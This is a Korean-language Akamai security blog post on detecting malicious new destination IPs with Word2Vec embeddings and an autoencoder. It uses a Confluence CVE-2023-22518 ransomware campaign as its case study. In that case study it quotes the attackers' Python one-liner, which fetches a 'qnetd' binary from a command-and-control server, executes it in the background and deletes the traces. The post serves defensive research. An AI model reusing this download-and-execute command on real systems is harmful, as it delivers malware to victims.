악성 IP 주소를 식별해 기업 네트워크를 보안하는 방법

Akamai Wave Blue

Sep 30, 2025

Ido Sakazi 그리고 Yonatan Gilvarg

이도 사카지(Ido Sakazi)

에 의해 작성

Ido Sakazi

이도 사카지(Ido Sakazi)는 사이버 및 네트워크 보안 데이터 과학 프로젝트를 전문적으로 연구하는 Akamai의 데이터 과학자이자 수석 보안 연구원입니다. 그는 잠재적 위협을 탐지하고 방어하기 위해 고급 데이터 분석 및 머신 러닝 기법 활용에 관한 전문가입니다.

요나탄 길바그(Yonatan Gilvarg)

에 의해 작성

Yonatan Gilvarg

요나탄은 Akamai Hunt팀의 수석 보안 연구원입니다. 요나탄의 전문 분야로는 위협 탐지 및 리서치, 빅 데이터 비정상 탐지, 인시던트 대응 등이 있습니다.

공유

서론

엔터프라이즈 네트워크 트래픽 보안은 기업에 막대한 피해를 입히려는 공격자로부터 기업을 보호하는 데 핵심적인 역할을 합니다. 이러한 방어 전략에서 새로운 잠재적인 악성 대상 IP 탐지는 매우 중요합니다. 잘 모르는 공격은 방어할 수 없습니다.

이전에 확인되지 않은 대상 IP를 탐지하는 기능은 관리자에게 잠재적인 위협에 대한 경고와 인사이트를 제공해주는 강력한 툴입니다.

공격자가 기존의 보안 조치를 우회하기 위해 새로운 IP 주소를 자주 악용하던 사례를 기반으로 이전에 확인되지 않은 대상 IP에 초점을 맞추었으며, 이에 따라 적절히 탐지 노력의 우선순위를 지정하는 것이 중요합니다.

이 블로그 게시물에서는 네트워크 기업 노드에서 접속되는 새로운 대상 IP에 대한 비정상적인 연결을 탐지하는 머신 러닝 방법을 소개합니다. 이 방법을 구축하는 데 연결의 메타데이터를 사용했습니다. 이 접근 방식에서는 Word2Vec 알고리즘을 이용해 대상 IP와 연결된 특징을 표시하고 자동 인코더를 사용하는 최종 단계를 적용합니다.

이 방법은 실제 캠페인에서도 사용되었으며 탐지에도 성공했습니다. 의심스러운 IP 주소는 잠재적으로 명령 및 제어(C2) 서버, 봇넷, 피싱 도메인과 같은 악성 활동에 가담할 수 있기 때문에 빠른 탐지가 알림과 인시던트를 가를 수 있습니다.

의심스러운 새로운 대상 IP 탐지 과제

새로운 확인되지 않은 대상 IP로 인해 노출된 위협을 탐지하고 방어하기 위한 연구 노력에서 여러 과제와 직면했습니다. 이러한 IP에는 이전의 평판이나 과거 데이터가 부족했기 대문에 기존의 탐지 방법은 효과적이니 않았습니다. 이러한 IP는 등장한 지 얼마 되지 않아 비교적 일상적인 트래픽 패턴을 모방할 수 있어서 정상적인 최초 통신과 악성 통신을 구별하기도 쉽지 않았습니다.

그러다 소스 프로세스, 대상 포트, ASN(Autonomous System Number), 대상 IP에 링크된 지리적 위치의 시퀀스를 분석하면 이러한 과제를 해결할 수 있다는 점을 알게 되었습니다. 이를 통해 네트워크 트래픽 맥락에서 심층적인 인사이트를 더 확보할 수 있었습니다. 이 접근 방식을 사용하면 의심스러운 새로운 대상 IP를 식별하고 플래그를 지정하는 기능을 크게 개선할 수 있었습니다.

비정상 탐지

저희가 사용한 방법론에서는 네트워크 트래픽에서 비정상을 탐지하는 특별한 과제에 부합하는 머신 러닝 기법을 사용합니다. 소스 프로세스, 대상 포트, ASN, 지리적 위치 등 중요한 정보를 포함하는 네트워크 트래픽 데이터와 관련된 다양한 메타데이터를 수집합니다. 철저한 분석에는 다양한 데이터 세트가 필요하며 적절한 출력을 위해 분류 작업이 요구됩니다.

그리고 더 쉽게 분석할 수 있도록 각 역할에 따라 소스 프로세스와 대상 포트를 분류해 그룹화합니다. 예를 들어, 여러 SQL(Structured Query Language) 서버의 표준 포트(예: MSSQL 1433 및 MySQL 3306)를 SQL 서버라는 단일 범주로 통합했습니다.

비정상 탐지에 머신 러닝 사용

네트워크 분석 맥락에서 서로 다른 IP 간 의미의 유사성을 포착하기 위해 Word2Vec 알고리즘을 적용합니다. Word2Vec는 원래 자연어 처리를 위해 개발된 제품으로, 요소가 표시되는 맥락을 분석해 벡터 표현을 학습합니다.

저희가 사용한 접근 방식에서는 네트워크 메타데이터의 시퀀스를 알고리즘에 대한 인풋으로 모델링해 네트워크에서 행동 기반 관계를 반영하는 유의미한 임베딩을 학습할 수 있습니다. 이를 기반으로 효과적인 비정상 탐지와 패턴 인식이 가능합니다.

IP를 고차원 벡터로 표현함으로서 알고리즘으로 네트워크 트래픽에 자주 함께 등장하는 IP 패턴을 식별할 수 있습니다. 벡터 공간에서 가까이 클러스터링된 IP는 맥락적 상관관계가 강한 반면, 비정상이나 이상값은 멀리 위치해 있습니다. 이 접근 방식에서는 네트워크 트래픽의 구조와 역할에 대한 소중한 인사이트를 제공합니다.

저희가 사용한 방법론의 마지막 단계에서는 자동 인코더를 사용했습니다. 자동 인코더는 인풋 데이터를 효과적으로 압축하고 재구성하고자 무감독 학습을 위해 설계된 인공 신경망의 일종입니다. 자동 인코더를 사용하면 라벨링되지 않은 훈련 데이터에 의존하지 않고도 네트워크 트래픽에서 비정상을 탐지할 수 있습니다. 이를 바탕으로 알고리즘에서 진화하는 위협 시나리오에 맞게 적응하고 새로운 공격 패턴을 효과적으로 탐지할 수 있습니다.

그리고 정상적인 네트워크 트래픽 패턴을 학습하고 재구성할 수 있도록 자동 인코더에 임베딩 기능을 제공합니다(그림 1). 재구성 오류가 많이 발생한 연결은 잠재적 악성 활동으로 플래그가 지정됩니다.

Autoencoder Model Fig. 1: Example of an autoencoder model and outputs

비정상 검증

이 방법론의 핵심은 지속적인 검토와 학습입니다. 알고리즘을 적용하면 새로운 모든 대상 IP를 검토하고 일상적으로 이들 사이의 각 연결을 확인해 비정상을 식별함으로써 잠재적인 악성 행동을 탐지할 수 있습니다.

그림 2는 고객의 일상적인 아웃풋에 대한 실제 예입니다. 여기서 새로운 대상 IP는 하루에 462건으로 나옵니다. 

Reconstruction error Fig. 2: Visualization of new IPs in a customer’s network in a single day
  • 빨간색 수평선은 연결에 비정상 플래그를 지정하는 임계치를 나타냅니다. 이 선을 넘어 재구성 오류가 발생하는 모든 연결은 의심스러운 연결입니다.

  • 파란색 점은 시스템에서 정상으로 판단한 IP를 의미합니다. 재구성 오류가 적고 예상되는 네트워크 행동 패턴과 일치하기 때문입니다. 

  • 주황색 점은 높은 재구성 오류로 인해 연구 결과 비정상으로 플래그를 지정한 단일 IP를 나타냅니다. 

비정상은 후속 조사를 했고 캠페인 공격의 구성요소임을 확인했습니다. 이를 통해 우리가 사용한 탐지 메커니즘의 중요성과 강력한 기능을 다시 확인할 수 있습니다. 다음 섹션에서는 공격에 대해 자세히 설명합니다.

우리가 사용하는 알고리즘으로 고객 환경에서 공격을 탐지하는 방법

새로운 방법론은 이론적으로 훌륭하지만 실제로도 효과적이어야 합니다. 이전에 탐지된 공격(CVE-2023-22518 취약점을 약용한 알려진 Confluence 캠페인이 일부)에 대해서도 우리가 사용한 알고리즘을 실행해보았습니다. 이 공격은 원격 코드 실행과 랜섬웨어 배포로 이어졌습니다.

이때 초기 악용으로 공격자가 서버에 무단으로 접속했습니다. 공격자는 Python을 통해 명령 및 제어(C2) 서버에 대한 연결을 설정하고 qnetd라고 하는 악성 파일을 다운로드했습니다(그림 3).

python3 -c import os,sys,time import platform as p if sys.version_info.major == 3: import urllib.request as u else: import urllib2 as u h = /tmp/lru d = ./qnetd ml = {3x:[i386,i686], 6x:[x86_64,amd64], 3a:[arm], 6a:[aarch64]} try: m = p.machine().lower() if os.popen(id -u).read().strip() == 0: try: os.chdir(/var) except: os.chdir(/tmp) else: os.chdir(/tmp) for l in open(h): for k,al in ml.items(): for a in al: if a == m: l = l+.+k r = u.urlopen(l) with open(d, wb) as f: f.write(r.read()) f.flush() r.close() os.system(chmod +x +d) os.system(chmod 755 +d) os.system(d +  > /dev/null 2>&1 &) time.sleep(5) os.remove(d) os.remove(h) except: if os.path.exists(h): os.remove(h) if os.path.exists(d): os.remove(d) pass
Fig. 3: Malicious python command identified in investigation

악성 IP 주소와 통신하는 2대의 서버를 확인했습니다(Python과 qnetd 프로세스 모두에서 널리 확산된 Atlassian Confluence CVE-2023-22518 캠페인의 일부). 지리적 위치가 비정상이기 때문에 우리가 사용한 방법에서 이러한 비정상이 탐지되었습니다(그림 4).

Query results Fig. 4: Discovery example

의심스러운 네트워크 연결의 선제적 식별 지원

새로운 대상 IP에 대한 비정상적인 네트워크 연결 탐지는 기업 사이버 보안의 핵심입니다. Word2Vec 및 자동 인코더 기법을 활용한 우리의 접근 방식은 소스 프로세스, 대상 포트, 지리적 위치와 같은 네트워크 트래픽 메타데이터를 분석해 기존의 탐지 방법을 우회할 수 있는 잠재적 보안 위협을 식별합니다.

실제 사례 연구에서 우리의 방법은 Confluence 취약점(CVE-2023-22518)을 악용한 정굑한 공격을 성공적으로 탐지했습니다. 이를 통해 랜섬웨어 배포 캠페인의 일부인 악성 IP 탐지에서 이 방법의 유효성이 입증되었습니다.

이 기법을 활용하면 기업은 정상적인 트래픽 패턴에서 편차를 학습하고 플래그를 지정해 의심스러운 네트워크 연결을 선제적으로 식별할 수 있습니다.

자세히 알아보기

Akamai의 매니지드 위협 탐색 서비스에 대해 자세히 알아보려면 Akamai Hunt 웹 페이지를 방문하세요.

Akamai Wave Blue

Sep 30, 2025

Ido Sakazi 그리고 Yonatan Gilvarg

이도 사카지(Ido Sakazi)

에 의해 작성

Ido Sakazi

이도 사카지(Ido Sakazi)는 사이버 및 네트워크 보안 데이터 과학 프로젝트를 전문적으로 연구하는 Akamai의 데이터 과학자이자 수석 보안 연구원입니다. 그는 잠재적 위협을 탐지하고 방어하기 위해 고급 데이터 분석 및 머신 러닝 기법 활용에 관한 전문가입니다.

요나탄 길바그(Yonatan Gilvarg)

에 의해 작성

Yonatan Gilvarg

요나탄은 Akamai Hunt팀의 수석 보안 연구원입니다. 요나탄의 전문 분야로는 위협 탐지 및 리서치, 빅 데이터 비정상 탐지, 인시던트 대응 등이 있습니다.

태그

공유

관련 블로그 게시물

보안 리서치
웹 셸 WSO-NG 격파
November 22, 2023
웹 셸이 점점 더 진화하고 있습니다. 악명 높은 WSO 웹 셸의 차세대 기능과 이를 방어하는 방법을 확인하세요.
사이버 보안
Docker 주의보: 노출된 API를 표적으로 삼는 새로운 멀웨어 변종
September 08, 2025
Akamai Hunt가 발견한, 노출된 Docker API를 표적으로 하는 최신 멀웨어 변종에 대해 확인하세요. 기술 세부 정보와 방어 전략에 대해 알아보세요.
보안 리서치
클라이언트 측 코드 보호 및 데이터 수집의 진위성 인증
July 08, 2025
이 콘텐츠를 통해 클라이언트 측 자바스크립트를 보호하는 다양한 방법을 살펴보고, 사이버 안정성을 유지하며 데이터 수집의 무결성을 확보하는 방법을 알아보세요.